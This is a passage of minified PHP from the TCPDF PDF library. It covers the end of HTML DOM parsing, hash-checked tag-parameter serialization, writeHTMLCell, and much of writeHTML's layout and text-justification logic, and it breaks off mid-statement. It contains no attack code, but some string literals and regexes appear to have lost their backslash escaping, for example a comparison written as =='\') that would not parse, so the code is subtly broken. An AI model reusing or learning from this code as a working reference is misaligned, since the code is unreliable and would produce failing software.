{$dom[$key]['tag']=false;$dom[$key]['block']=false;$dom[$key]['parent']=end($level);$dom[$key]['dir']=$dom[$dom[$key]['parent']]['dir'];if(!empty($dom[$dom[$key]['parent']]['text-transform'])){if(function_exists('mb_convert_case')){$ttm=array('capitalize'=>MB_CASE_TITLE,'uppercase'=>MB_CASE_UPPER,'lowercase'=>MB_CASE_LOWER);if(isset($ttm[$dom[$dom[$key]['parent']]['text-transform']])){$element=mb_convert_case($element,$ttm[$dom[$dom[$key]['parent']]['text-transform']],$this->encoding);}}elseif(!$this->isunicode){switch($dom[$dom[$key]['parent']]['text-transform']){case 'capitalize':{$element=ucwords(strtolower($element));break;}case 'uppercase':{$element=strtoupper($element);break;}case 'lowercase':{$element=strtolower($element);break;}}}}$dom[$key]['value']=stripslashes($this->unhtmlentities($element));}++$elkey;++$key;}return $dom;} function getSpaceString(){$spacestr=chr(32);if($this->isUnicodeFont()){$spacestr=chr(0).chr(32);}return $spacestr;} function getHashForTCPDFtagParams($data){return md5(strlen($data).$this->file_id.$data);} function serializeTCPDFtagParameters($data){$encoded=urlencode(json_encode($data));return $this->getHashForTCPDFtagParams($encoded).$encoded;} function unserializeTCPDFtagParameters($data){$hash=substr($data,0,32);$encoded=substr($data,32);if($hash!=$this->getHashForTCPDFtagParams($encoded)){$this->Error('Invalid parameters');}return json_decode(urldecode($encoded),true);} function writeHTMLCell($w,$h,$x,$y,$html='',$border=0,$ln=0,$fill=false,$reseth=true,$align='',$autopadding=true){return $this->MultiCell($w,$h,$html,$border,$align,$fill,$ln,$x,$y,$reseth,0,true,$autopadding,0,'T',false);} function writeHTML($html,$ln=true,$fill=false,$reseth=false,$cell=false,$align=''){$gvars=$this->getGraphicVars();$prev_cell_margin=$this->cell_margin;$prev_cell_padding=$this->cell_padding;$prevPage=$this->page;$prevlMargin=$this->lMargin;$prevrMargin=$this->rMargin;$curfontname=$this->FontFamily;$curfontstyle=$this->FontStyle;$curfontsize=$this->FontSizePt;$curfontascent=$this->getFontAscent($curfontname,$curfontstyle,$curfontsize);$curfontdescent=$this->getFontDescent($curfontname,$curfontstyle,$curfontsize);$curfontstretcing=$this->font_stretching;$curfonttracking=$this->font_spacing;$this->newline=true;$newline=true;$startlinepage=$this->page;$minstartliney=$this->y;$maxbottomliney=0;$startlinex=$this->x;$startliney=$this->y;$yshift=0;$loop=0;$curpos=0;$this_method_vars=array();$undo=false;$fontaligned=false;$reverse_dir=false;$this->premode=false;if($this->inxobj){$pask=count($this->xobjects[$this->xobjid]['annotations']);}elseif(isset($this->PageAnnots[$this->page])){$pask=count($this->PageAnnots[$this->page]);}else {$pask=0;}if($this->inxobj){$startlinepos=strlen($this->xobjects[$this->xobjid]['outdata']);}elseif(!$this->InFooter){if(isset($this->footerlen[$this->page])){$this->footerpos[$this->page]=$this->pagelen[$this->page]-$this->footerlen[$this->page];}else {$this->footerpos[$this->page]=$this->pagelen[$this->page];}$startlinepos=$this->footerpos[$this->page];}else {$startlinepos=$this->pagelen[$this->page];}$lalign=$align;$plalign=$align;if($this->rtl){$w=$this->x-$this->lMargin;}else {$w=$this->w-$this->rMargin-$this->x;}$w-=($this->cell_padding['L']+$this->cell_padding['R']);if($cell){if($this->rtl){$this->x-=$this->cell_padding['R'];$this->lMargin+=$this->cell_padding['R'];}else {$this->x+=$this->cell_padding['L'];$this->rMargin+=$this->cell_padding['L'];}}if($this->customlistindent>=0){$this->listindent=$this->customlistindent;}else {$this->listindent=$this->GetStringWidth('000000');}$this->listindentlevel=0;$prev_cell_height_ratio=$this->cell_height_ratio;$prev_listnum=$this->listnum;$prev_listordered=$this->listordered;$prev_listcount=$this->listcount;$prev_lispacer=$this->lispacer;$this->listnum=0;$this->listordered=array();$this->listcount=array();$this->lispacer='';if((TCPDF_STATIC::empty_string($this->lasth)) OR ($reseth)){$this->resetLastH();}$dom=$this->getHtmlDomArray($html);$maxel=count($dom);$key=0;while($key<$maxel){if($dom[$key]['tag'] AND $dom[$key]['opening'] AND $dom[$key]['hide']){$hidden_node_key=$key;if($dom[$key]['self']){++$key;}else {while(($key<$maxel) AND (!$dom[$key]['tag'] OR $dom[$key]['opening'] OR ($dom[$key]['parent']!=$hidden_node_key))){++$key;}++$key;}}if($dom[$key]['tag'] AND isset($dom[$key]['attribute']['pagebreak'])){if(($dom[$key]['attribute']['pagebreak']=='true') OR ($dom[$key]['attribute']['pagebreak']=='left') OR ($dom[$key]['attribute']['pagebreak']=='right')){$this->checkPageBreak($this->PageBreakTrigger+1);$this->htmlvspace=($this->PageBreakTrigger+1);}if((($dom[$key]['attribute']['pagebreak']=='left') AND (((!$this->rtl) AND (($this->page%2)==0)) OR (($this->rtl) AND (($this->page%2)!=0)))) OR (($dom[$key]['attribute']['pagebreak']=='right') AND (((!$this->rtl) AND (($this->page%2)!=0)) OR (($this->rtl) AND (($this->page%2)==0))))){$this->checkPageBreak($this->PageBreakTrigger+1);$this->htmlvspace=($this->PageBreakTrigger+1);}}if($dom[$key]['tag'] AND $dom[$key]['opening'] AND isset($dom[$key]['attribute']['nobr']) AND ($dom[$key]['attribute']['nobr']=='true')){if(isset($dom[($dom[$key]['parent'])]['attribute']['nobr']) AND ($dom[($dom[$key]['parent'])]['attribute']['nobr']=='true')){$dom[$key]['attribute']['nobr']=false;}else {$this->startTransaction();$this_method_vars['html']=$html;$this_method_vars['ln']=$ln;$this_method_vars['fill']=$fill;$this_method_vars['reseth']=$reseth;$this_method_vars['cell']=$cell;$this_method_vars['align']=$align;$this_method_vars['gvars']=$gvars;$this_method_vars['prevPage']=$prevPage;$this_method_vars['prev_cell_margin']=$prev_cell_margin;$this_method_vars['prev_cell_padding']=$prev_cell_padding;$this_method_vars['prevlMargin']=$prevlMargin;$this_method_vars['prevrMargin']=$prevrMargin;$this_method_vars['curfontname']=$curfontname;$this_method_vars['curfontstyle']=$curfontstyle;$this_method_vars['curfontsize']=$curfontsize;$this_method_vars['curfontascent']=$curfontascent;$this_method_vars['curfontdescent']=$curfontdescent;$this_method_vars['curfontstretcing']=$curfontstretcing;$this_method_vars['curfonttracking']=$curfonttracking;$this_method_vars['minstartliney']=$minstartliney;$this_method_vars['maxbottomliney']=$maxbottomliney;$this_method_vars['yshift']=$yshift;$this_method_vars['startlinepage']=$startlinepage;$this_method_vars['startlinepos']=$startlinepos;$this_method_vars['startlinex']=$startlinex;$this_method_vars['startliney']=$startliney;$this_method_vars['newline']=$newline;$this_method_vars['loop']=$loop;$this_method_vars['curpos']=$curpos;$this_method_vars['pask']=$pask;$this_method_vars['lalign']=$lalign;$this_method_vars['plalign']=$plalign;$this_method_vars['w']=$w;$this_method_vars['prev_cell_height_ratio']=$prev_cell_height_ratio;$this_method_vars['prev_listnum']=$prev_listnum;$this_method_vars['prev_listordered']=$prev_listordered;$this_method_vars['prev_listcount']=$prev_listcount;$this_method_vars['prev_lispacer']=$prev_lispacer;$this_method_vars['fontaligned']=$fontaligned;$this_method_vars['key']=$key;$this_method_vars['dom']=$dom;}}if(($dom[$key]['value']=='tr') AND isset($dom[$key]['thead']) AND $dom[$key]['thead']){if(isset($dom[$key]['parent']) AND isset($dom[$dom[$key]['parent']]['thead']) AND !TCPDF_STATIC::empty_string($dom[$dom[$key]['parent']]['thead'])){$this->inthead=true;$this->writeHTML($this->thead,false,false,false,false,'');if(($this->y<$this->start_transaction_y) OR ($this->checkPageBreak($this->lasth,'',false))){$this->rollbackTransaction(true);foreach($this_method_vars as $vkey=>$vval){$$vkey=$vval;}$tmp_thead=$this->thead;$this->thead='';$pre_y=$this->y;if((!$this->checkPageBreak($this->PageBreakTrigger+1)) AND ($this->y<$pre_y)){$startliney=$this->y;}$this->start_transaction_page=$this->page;$this->start_transaction_y=$this->y;$this->thead=$tmp_thead;if(isset($dom[$dom[$key]['parent']]['attribute']['cellspacing'])){$tmp_cellspacing=$this->getHTMLUnitToUnits($dom[$dom[$key]['parent']]['attribute']['cellspacing'],1,'px');}elseif(isset($dom[$dom[$key]['parent']]['border-spacing'])){$tmp_cellspacing=$dom[$dom[$key]['parent']]['border-spacing']['V'];}else {$tmp_cellspacing=0;}$dom[$dom[$key]['parent']]['borderposition']['page']=$this->page;$dom[$dom[$key]['parent']]['borderposition']['column']=$this->current_column;$dom[$dom[$key]['parent']]['borderposition']['y']=$this->y+$tmp_cellspacing;$xoffset=($this->x-$dom[$dom[$key]['parent']]['borderposition']['x']);$dom[$dom[$key]['parent']]['borderposition']['x']+=$xoffset;$dom[$dom[$key]['parent']]['borderposition']['xmax']+=$xoffset;$this->writeHTML($this->thead,false,false,false,false,'');}}while(($key<$maxel) AND (!(($dom[$key]['tag'] AND $dom[$key]['opening'] AND ($dom[$key]['value']=='tr') AND (!isset($dom[$key]['thead']) OR !$dom[$key]['thead'])) OR ($dom[$key]['tag'] AND (!$dom[$key]['opening']) AND ($dom[$key]['value']=='table'))))){++$key;}}if($dom[$key]['tag'] OR ($key==0)){if((($dom[$key]['value']=='table') OR ($dom[$key]['value']=='tr')) AND (isset($dom[$key]['align']))){$dom[$key]['align']=($this->rtl)?'R':'L';}if((!$this->newline) AND ($dom[$key]['value']=='img') AND (isset($dom[$key]['height'])) AND ($dom[$key]['height']>0)){$imgh=$this->getHTMLUnitToUnits($dom[$key]['height'],($dom[$key]['fontsize']/$this->k),'px');$autolinebreak=false;if(!empty($dom[$key]['width'])){$imgw=$this->getHTMLUnitToUnits($dom[$key]['width'],($dom[$key]['fontsize']/$this->k),'px',false);if(($imgw<=($this->w-$this->lMargin-$this->rMargin-$this->cell_padding['L']-$this->cell_padding['R'])) AND ((($this->rtl) AND (($this->x-$imgw)<($this->lMargin+$this->cell_padding['L']))) OR ((!$this->rtl) AND (($this->x+$imgw)>($this->w-$this->rMargin-$this->cell_padding['R']))))){$autolinebreak=true;$this->Ln('',$cell);if((!$dom[($key-1)]['tag']) AND ($dom[($key-1)]['value']==' ')){--$key;}}}if(!$autolinebreak){if($this->inPageBody()){$pre_y=$this->y;if((!$this->checkPageBreak($imgh)) AND ($this->y<$pre_y)){$startliney=$this->y;}}if($this->page>$startlinepage){if(isset($this->footerlen[$startlinepage])){$curpos=$this->pagelen[$startlinepage]-$this->footerlen[$startlinepage];}$pagebuff=$this->getPageBuffer($startlinepage);$linebeg=substr($pagebuff,$startlinepos,($curpos-$startlinepos));$tstart=substr($pagebuff,0,$startlinepos);$tend=substr($this->getPageBuffer($startlinepage),$curpos);$this->setPageBuffer($startlinepage,$tstart.''.$tend);$pagebuff=$this->getPageBuffer($this->page);$tstart=substr($pagebuff,0,$this->cntmrk[$this->page]);$tend=substr($pagebuff,$this->cntmrk[$this->page]);$yshift=($minstartliney-$this->y);if($fontaligned){$yshift+=($curfontsize/$this->k);}$try=sprintf('1 0 0 1 0 %F cm',($yshift*$this->k));$this->setPageBuffer($this->page,$tstart."
q
".$try."
".$linebeg."
Q
".$tend);if(isset($this->PageAnnots[$this->page])){$next_pask=count($this->PageAnnots[$this->page]);}else {$next_pask=0;}if(isset($this->PageAnnots[$startlinepage])){foreach($this->PageAnnots[$startlinepage] as $pak=>$pac){if($pak>=$pask){$this->PageAnnots[$this->page][]=$pac;unset($this->PageAnnots[$startlinepage][$pak]);$npak=count($this->PageAnnots[$this->page])-1;$this->PageAnnots[$this->page][$npak]['y']-=$yshift;}}}$pask=$next_pask;$startlinepos=$this->cntmrk[$this->page];$startlinepage=$this->page;$startliney=$this->y;$this->newline=false;}$this->y+=($this->getCellHeight($curfontsize/$this->k)-($curfontdescent*$this->cell_height_ratio)-$imgh);$minstartliney=min($this->y,$minstartliney);$maxbottomliney=($startliney+$this->getCellHeight($curfontsize/$this->k));}}elseif(isset($dom[$key]['fontname']) OR isset($dom[$key]['fontstyle']) OR isset($dom[$key]['fontsize']) OR isset($dom[$key]['line-height'])){$pfontname=$curfontname;$pfontstyle=$curfontstyle;$pfontsize=$curfontsize;$fontname=(isset($dom[$key]['fontname'])?$dom[$key]['fontname']:$curfontname);$fontstyle=(isset($dom[$key]['fontstyle'])?$dom[$key]['fontstyle']:$curfontstyle);$fontsize=(isset($dom[$key]['fontsize'])?$dom[$key]['fontsize']:$curfontsize);$fontascent=$this->getFontAscent($fontname,$fontstyle,$fontsize);$fontdescent=$this->getFontDescent($fontname,$fontstyle,$fontsize);if(($fontname!=$curfontname) OR ($fontstyle!=$curfontstyle) OR ($fontsize!=$curfontsize) OR ($this->cell_height_ratio!=$dom[$key]['line-height']) OR ($dom[$key]['tag'] AND $dom[$key]['opening'] AND ($dom[$key]['value']=='li'))){if(($key<($maxel-1)) AND (($dom[$key]['tag'] AND $dom[$key]['opening'] AND ($dom[$key]['value']=='li')) OR ($this->cell_height_ratio!=$dom[$key]['line-height']) OR (!$this->newline AND is_numeric($fontsize) AND is_numeric($curfontsize) AND ($fontsize>=0) AND ($curfontsize>=0) AND (($fontsize!=$curfontsize) OR ($fontstyle!=$curfontstyle) OR ($fontname!=$curfontname))))){if($this->page>$startlinepage){if(isset($this->footerlen[$startlinepage])){$curpos=$this->pagelen[$startlinepage]-$this->footerlen[$startlinepage];}$pagebuff=$this->getPageBuffer($startlinepage);$linebeg=substr($pagebuff,$startlinepos,($curpos-$startlinepos));$tstart=substr($pagebuff,0,$startlinepos);$tend=substr($this->getPageBuffer($startlinepage),$curpos);$this->setPageBuffer($startlinepage,$tstart.''.$tend);$pagebuff=$this->getPageBuffer($this->page);$tstart=substr($pagebuff,0,$this->cntmrk[$this->page]);$tend=substr($pagebuff,$this->cntmrk[$this->page]);$yshift=($minstartliney-$this->y);$try=sprintf('1 0 0 1 0 %F cm',($yshift*$this->k));$this->setPageBuffer($this->page,$tstart."
q
".$try."
".$linebeg."
Q
".$tend);if(isset($this->PageAnnots[$this->page])){$next_pask=count($this->PageAnnots[$this->page]);}else {$next_pask=0;}if(isset($this->PageAnnots[$startlinepage])){foreach($this->PageAnnots[$startlinepage] as $pak=>$pac){if($pak>=$pask){$this->PageAnnots[$this->page][]=$pac;unset($this->PageAnnots[$startlinepage][$pak]);$npak=count($this->PageAnnots[$this->page])-1;$this->PageAnnots[$this->page][$npak]['y']-=$yshift;}}}$pask=$next_pask;$startlinepos=$this->cntmrk[$this->page];$startlinepage=$this->page;$startliney=$this->y;}if(!isset($dom[$key]['line-height'])){$dom[$key]['line-height']=$this->cell_height_ratio;}if(!$dom[$key]['block']){if(!(isset($dom[($key+1)]) AND $dom[($key+1)]['tag'] AND (!$dom[($key+1)]['opening']) AND ($dom[($key+1)]['value']!='li') AND $dom[$key]['tag'] AND (!$dom[$key]['opening']))){$this->y+=(((($curfontsize*$this->cell_height_ratio)-($fontsize*$dom[$key]['line-height']))/$this->k)+$curfontascent-$fontascent-$curfontdescent+$fontdescent)/2;}if(($dom[$key]['value']!='sup') AND ($dom[$key]['value']!='sub')){$current_line_align_data=array($key,$minstartliney,$maxbottomliney);if(isset($line_align_data) AND (($line_align_data[0]==($key-1)) OR (($line_align_data[0]==($key-2)) AND (isset($dom[($key-1)])) AND (preg_match('/^([\s]+)$/',$dom[($key-1)]['value'])>0)))){$minstartliney=min($this->y,$line_align_data[1]);$maxbottomliney=max(($this->y+$this->getCellHeight($fontsize/$this->k)),$line_align_data[2]);}else {$minstartliney=min($this->y,$minstartliney);$maxbottomliney=max(($this->y+$this->getCellHeight($fontsize/$this->k)),$maxbottomliney);}$line_align_data=$current_line_align_data;}}$this->cell_height_ratio=$dom[$key]['line-height'];$fontaligned=true;}$this->SetFont($fontname,$fontstyle,$fontsize);$this->resetLastH();$curfontname=$fontname;$curfontstyle=$fontstyle;$curfontsize=$fontsize;$curfontascent=$fontascent;$curfontdescent=$fontdescent;}}$textstroke=isset($dom[$key]['stroke'])?$dom[$key]['stroke']:$this->textstrokewidth;$textfill=isset($dom[$key]['fill'])?$dom[$key]['fill']:(($this->textrendermode%2)==0);$textclip=isset($dom[$key]['clip'])?$dom[$key]['clip']:($this->textrendermode>3);$this->setTextRenderingMode($textstroke,$textfill,$textclip);if(isset($dom[$key]['font-stretch']) AND ($dom[$key]['font-stretch']!==false)){$this->setFontStretching($dom[$key]['font-stretch']);}if(isset($dom[$key]['letter-spacing']) AND ($dom[$key]['letter-spacing']!==false)){$this->setFontSpacing($dom[$key]['letter-spacing']);}if(($plalign=='J') AND $dom[$key]['block']){$plalign='';}$curpos=$this->pagelen[$startlinepage];if(isset($dom[$key]['bgcolor']) AND ($dom[$key]['bgcolor']!==false)){$this->SetFillColorArray($dom[$key]['bgcolor']);$wfill=true;}else {$wfill=$fill|false;}if(isset($dom[$key]['fgcolor']) AND ($dom[$key]['fgcolor']!==false)){$this->SetTextColorArray($dom[$key]['fgcolor']);}if(isset($dom[$key]['strokecolor']) AND ($dom[$key]['strokecolor']!==false)){$this->SetDrawColorArray($dom[$key]['strokecolor']);}if(isset($dom[$key]['align'])){$lalign=$dom[$key]['align'];}if(TCPDF_STATIC::empty_string($lalign)){$lalign=$align;}}if($this->newline AND (strlen($dom[$key]['value'])>0) AND ($dom[$key]['value']!='td') AND ($dom[$key]['value']!='th')){$newline=true;$fontaligned=false;if(isset($startlinex)){$yshift=($minstartliney-$startliney);if(($yshift>0) OR ($this->page>$startlinepage)){$yshift=0;}$t_x=0;$linew=abs($this->endlinex-$startlinex);if($this->inxobj){$pstart=substr($this->xobjects[$this->xobjid]['outdata'],0,$startlinepos);if(isset($opentagpos)){$midpos=$opentagpos;}else {$midpos=0;}if($midpos>0){$pmid=substr($this->xobjects[$this->xobjid]['outdata'],$startlinepos,($midpos-$startlinepos));$pend=substr($this->xobjects[$this->xobjid]['outdata'],$midpos);}else {$pmid=substr($this->xobjects[$this->xobjid]['outdata'],$startlinepos);$pend='';}}else {$pstart=substr($this->getPageBuffer($startlinepage),0,$startlinepos);if(isset($opentagpos) AND isset($this->footerlen[$startlinepage]) AND (!$this->InFooter)){$this->footerpos[$startlinepage]=$this->pagelen[$startlinepage]-$this->footerlen[$startlinepage];$midpos=min($opentagpos,$this->footerpos[$startlinepage]);}elseif(isset($opentagpos)){$midpos=$opentagpos;}elseif(isset($this->footerlen[$startlinepage]) AND (!$this->InFooter)){$this->footerpos[$startlinepage]=$this->pagelen[$startlinepage]-$this->footerlen[$startlinepage];$midpos=$this->footerpos[$startlinepage];}else {$midpos=0;}if($midpos>0){$pmid=substr($this->getPageBuffer($startlinepage),$startlinepos,($midpos-$startlinepos));$pend=substr($this->getPageBuffer($startlinepage),$midpos);}else {$pmid=substr($this->getPageBuffer($startlinepage),$startlinepos);$pend='';}}if((isset($plalign) AND ((($plalign=='C') OR ($plalign=='J') OR (($plalign=='R') AND (!$this->rtl)) OR (($plalign=='L') AND ($this->rtl)))))){$tw=$w;if(($plalign=='J') AND $this->isRTLTextDir() AND ($this->num_columns>1)){$tw+=$this->cell_padding['R'];}if($this->lMargin!=$prevlMargin){$tw+=($prevlMargin-$this->lMargin);}if($this->rMargin!=$prevrMargin){$tw+=($prevrMargin-$this->rMargin);}$one_space_width=$this->GetStringWidth(chr(32));$no=0;if($this->isRTLTextDir()){$pos1=TCPDF_STATIC::revstrpos($pmid,'[(');if($pos1>0){$pos1=intval($pos1);if($this->isUnicodeFont()){$pos2=intval(TCPDF_STATIC::revstrpos($pmid,'[('.chr(0).chr(32)));$spacelen=2;}else {$pos2=intval(TCPDF_STATIC::revstrpos($pmid,'[('.chr(32)));$spacelen=1;}if($pos1==$pos2){$pmid=substr($pmid,0,($pos1+2)).substr($pmid,($pos1+2+$spacelen));if(substr($pmid,$pos1,4)=='[()]'){$linew-=$one_space_width;}elseif($pos1==strpos($pmid,'[(')){$no=1;}}}}else {$pos1=TCPDF_STATIC::revstrpos($pmid,')]');if($pos1>0){$pos1=intval($pos1);if($this->isUnicodeFont()){$pos2=intval(TCPDF_STATIC::revstrpos($pmid,chr(0).chr(32).')]'))+2;$spacelen=2;}else {$pos2=intval(TCPDF_STATIC::revstrpos($pmid,chr(32).')]'))+1;$spacelen=1;}if($pos1==$pos2){$pmid=substr($pmid,0,($pos1-$spacelen)).substr($pmid,$pos1);$linew-=$one_space_width;}}}$mdiff=($tw-$linew);if($plalign=='C'){if($this->rtl){$t_x=-($mdiff/2);}else {$t_x=($mdiff/2);}}elseif($plalign=='R'){$t_x=$mdiff;}elseif($plalign=='L'){$t_x=-$mdiff;}elseif(($plalign=='J') AND ($plalign==$lalign)){if($this->isRTLTextDir()){$t_x=-$mdiff;}$ns=0;$pmidtemp=$pmid;$pmidtemp=preg_replace('/[\][\(]/x','\#!#OP#!#',$pmidtemp);$pmidtemp=preg_replace('/[\][\)]/x','\#!#CP#!#',$pmidtemp);if(preg_match_all('/\[\(([^\)]*)\)\]/x',$pmidtemp,$lnstring,PREG_PATTERN_ORDER)){$spacestr=$this->getSpaceString();$maxkk=count($lnstring[1])-1;for($kk=0;$kk<=$maxkk;++$kk){$lnstring[1][$kk]=str_replace('#!#OP#!#','(',$lnstring[1][$kk]);$lnstring[1][$kk]=str_replace('#!#CP#!#',')',$lnstring[1][$kk]);$lnstring[2][$kk]=substr_count($lnstring[1][$kk],$spacestr);$ns+=$lnstring[2][$kk];$lnstring[3][$kk]=$ns;}if($ns==0){$ns=1;}$spacewidth=($mdiff/($ns-$no))*$this->k;if($this->FontSize<=0){$this->FontSize=1;}$spacewidthu=-1000*($mdiff+(($ns+$no)*$one_space_width))/$ns/$this->FontSize;if($this->font_spacing!=0){$osw=-1000*$this->font_spacing/$this->FontSize;$spacewidthu+=$osw;}$nsmax=$ns;$ns=0;reset($lnstring);$offset=0;$strcount=0;$prev_epsposbeg=0;$textpos=0;if($this->isRTLTextDir()){$textpos=$this->wPt;}while(preg_match('/([0-9\.\+\-]*)[\s](Td|cm|m|l|c|re)[\s]/x',$pmid,$strpiece,PREG_OFFSET_CAPTURE,$offset)==1){$stroffset=strpos($pmid,'[(',$offset);if(($stroffset!==false) AND ($stroffset<=$strpiece[2][1])){$offset=strpos($pmid,')]',$stroffset);while(($offset!==false) AND ($pmid[($offset-1)]=='\')){$offset=strpos($pmid,')]',($offset+1));}if($offset===false){$this->Error('HTML Justification: malformed PDF code.');}continue;}if($this->isRTLTextDir()){$spacew=($spacewidth*($nsmax-$ns));}else {$spacew=($spacewidth*$ns);}$offset=$strpiece[2][1]+strlen($strpiece[2][0]);$epsposend=strpos($pmid,$this->epsmarker.'Q',$offset);if($epsposend!==null){$epsposend+=strlen($this->epsmarker.'Q');$epsposbeg=strpos($pmid,'q'.$this->epsmarker,$offset);if($epsposbeg===null){$epsposbeg=strpos($pmid,'q'.$this->epsmarker,($prev_epsposbeg-6));$prev_epsposbeg=$epsposbeg;}if(($epsposbeg>0) AND ($epsposend>0) AND ($offset>$epsposbeg) AND ($offset<$epsposend)){$trx=sprintf('1 0 0 1 %F 0 cm',$spacew);$pmid_b=substr($pmid,0,$epsposbeg);$pmid_m=substr($pmid,$epsposbeg,($epsposend-$epsposbeg));$pmid_e=substr($pmid,$epsposend);$pmid=$pmid_b."
q
".$trx."
".$pmid_m."
Q
".$pmid_e;$offset=$epsposend;continue;}}$currentxpos=0;switch($strpiece[2][0]){case 'Td':case 'cm':case 'm':case 'l':{preg_match('/([0-9\.\+\-]*)[\s]('.$strpiece[1][0].')[\s]('.$strpiece[2][0].')([\s]*)/x',$pmid,$xmatches);if(!isset($xmatches[1])){break;}$currentxpos=$xmatches[1];$textpos=$currentxpos;if(($strcount<=$maxkk) AND ($strpiece[2][0]=='Td')){$ns=$lnstring[3][$strcount];if($this->isRTLTextDir()){$spacew=($spacewidth*($nsmax-$ns));}++$strcount;}if(preg_match('/([0-9\.\+\-]*)[\s]('.$strpiece[1][0].')[\s]('.$strpiece[2][0].')([\s]*)/x',$pmid,$pmatch)==1){$newpmid=sprintf('%F',(floatval($pmatch[1])+$spacew)).' '.$pmatch[2].' x*#!#*x'.$pmatch[3].$pmatch[4];$pmid=str_replace($pmatch[0],$newpmid,$pmid);unset($pmatch,$newpmid);}break;}case 're':{if(!TCPDF_STATIC::empty_string($this->lispacer)){$this->lispacer='';continue;}preg_match('/([0-9\.\+\-]*)[\s]([0-9\.\+\-]*)[\s]([0-9\.\+\-]*)[\s]('.$strpiece[1][0].')[\s](re)([\s]*)/x',$pmid,$xmatches);if(!isset($xmatches[1])){break;}$currentxpos=$xmatches[1];$x_diff=0;$w_diff=0;if($this->isRTLTextDir()){if($currentxpos<$textpos){$x_diff=($spacewidth*($nsmax-$lnstring[3][$strcount]));$w_diff=($spacewidth*$lnstring[2][$strcount]);}else {if($strcount>0){$x_diff=($spacewidth*($nsmax-$lnstring[3][($strcount-1)]));$w_diff=($spacewidth*$lnstring[2][($strcount-1)]);}}}else {if($currentxpos>$textpos){if($strcount>0){$x_diff=($spacewidth*$lnstring[3][($strcount-1)]);}$w_diff=($spacewidth*$lnstring[2][$strcount]);}else {if($strcount>1){$x_diff=($spacewidth*$lnstring[3][($strcount-2)]);}if($strcount>0){$w_diff=($spacewidth*$lnstring[2][($strcount-1)]);}}}if(preg_match('/('.$xmatches[1].')[\s]('.$xmatches[2].')[\s]('.$xmatches[3].')[\s]('.$strpiece[1][0].')[\s](re)([\s]*)/x',$pmid,$pmatch)==1){$newx=sprintf('%F',(floatval($pmatch[1])+$x_diff));$neww=sprintf('%F',(floatval($pmatch[3])+$w_diff));$newpmid=$newx.' '.$pmatch[2].' '.$neww.' '.$pmatch[4].' x*#!#*x'.$pmatch[5].$pmatch[6];$pmid=str_replace($pmatch[0],$newpmid,$pmid);unset($pmatch,$newpmid,$newx,$neww);}break;}case 'c':{preg_match('/([0-9\.\+\-]*)[\s]([0-9\.\+\-]*)[\s]([0-9\.\+\-]*)[\s]([0-9\.\+\-]*)[\s]([0-9\.\+\-]*)[\s]('.$strpiece[1][0].')[\s](c)([\s]*)/x',$pmid,$xmatches);if(!isset($xmatches[1])){break;}$currentxpos=$xmatches[1];if(preg_match('/('.$xmatches[1].')[\s]('.$xmatches[2].')[\s]('.$xmatches[3].')[\s]('.$xmatches[4].')[\s]('.$xmatches[5].')[\s]('.$strpiece[1][0].')[\s](c)([\s]*)/x',$pmid,$pmatch)==1){$newx1=sprintf('%F',(floatval($pmatch[1])+$spacew));$newx2=sprintf('%F',(floatval($pmatch[3])+$spacew));$newx3=sprintf('%F',(floatval($pmatch[5])+$spacew));$newpmid=$newx1.' '.$pmatch[2].' '.$newx2.' '.$pmatch[4].' '.$newx3.' '.$pmatch[6].' x*#!#*x'.$pmatch[7].$pmatch[8];$pmid=str_replace($pmatch[0],$newpmid,$pmid);unset($pmatch,$newpmid,$newx1,$newx2,$newx3);}break;}}$cxpos=($currentxpos/$this->k);$lmpos=($this->lMargin+$this->cell_padding['L']+$this->feps);if($this->inxobj){foreach($this->xobjects[$this->xobjid]['annotations'] as $pak=>$pac){if(($pac['y']>=$minstartliney) AND (($pac['x']*$this->k)>=($currentxpos-$this->feps)) AND (($pac['x']*$this->k)<=($currentxpos+$this->feps))){if($cxpos>$lmpos){$this->xobjects[$this->xobjid]['annotations'][$pak]['x']+=($spacew/$this->k);$this->xobjects[$this->xobjid]['annotations'][$pak]['w']+=(($spacewidth*$pac['numspaces'])/$this->k);}else {$this->xobjects[$this->xobjid]['annotations'][$pak]['w']+=(($spacewidth*$pac['numspaces'])/$this->k);}break;}}}elseif(isset($this->PageAnnots[$this->page])){foreach($this->PageAnnots[$this->page] as $pak=>$pac){if(($pac['y']>=$minstartliney) AND (($pac['x']*$this->k)>=($currentxpos-$this->feps)) AND (($pac['x']*$this->k)<=($currentxpos+$this->feps))){if($cxpos>$lmpos){$this->PageAnnots[$this->page][$pak]['x']+=($spacew/$this->k);$this->PageAnnots[$this->page][$pak]['w']+=(($spacewidth*$pac['numspaces'])/$this->k);}else {$this->PageAnnots[$this->page][$pak]['w']+=(($spacewidth*$pac['numspaces'])/$this->k);}break;}}}}$pmid=str_replace('x*#!#*x','',$pmid);if($this->isUnicodeFont()){$spacew=$spacewidthu;if($this->font_stretching!=100){$spacew/=($this->font_stretching/100);}$pos=0;$pmid=preg_replace('/[\][\(]/x','\#!#OP#!#',$pmid);$pmid=preg_replace('/[\][\)]/x','\#!#CP#!#',$pmid);if(preg_match_all('/\[\(([^\)]*)\)\]/x',$pmid,$pamatch)>0){foreach($pamatch[0] as $pk=>$pmatch){$replace=$pamatch[1][$pk];$replace=str_replace('#!#OP#!#','(',$replace);$replace=str_replace('#!#CP#!#',')',$replace);$newpmid='[('.str_replace(chr(0).chr(32),') '.sprintf('%F',$spacew).' (',$replace).')]';$pos=strpos($pmid,$pmatch,$pos);if($pos!==FALSE){$pmid=substr_replace($pmid,$newpmid,$pos,strlen($pmatch));}++$pos;}unset($pamatch);}if($this->inxobj){$this->xobjects[$this->xobjid]['outdata']=$pstart."
".$pmid."
".$pend;}else {$this->setPageBuffer($startlinepage,$pstart."
".$pmid."
".$pend);}$endlinepos=strlen($pstart."
".$pmid."
");}else {if($this->font_stretching!=100){$spacewidth/=($this->font_stretching/100);}$rs=sprintf('%F Tw',$spacewidth);$pmid=preg_replace("/\[\(/x",$rs.' [(',$pmid);if($this->inxobj){$this->xobjects[$this->xobjid]['outdata']=$pstart."
".$pmid."
BT 0 Tw ET
".$pend;}else {$this->setPageBuffer($startlinepage,$pstart."
".$pmid."
BT 0 Tw ET
".$pend);}$endlinepos=strlen($pstart."
".$pmid."
BT 0 Tw ET
");}}}}if(($t_x!=0) OR ($yshift<0)){$trx=sprintf('1 0 0 1 %F %F cm',($t_x*$this->k),($yshift*$this->k));$pstart.="
q
".$trx."
".$pmid."
Q
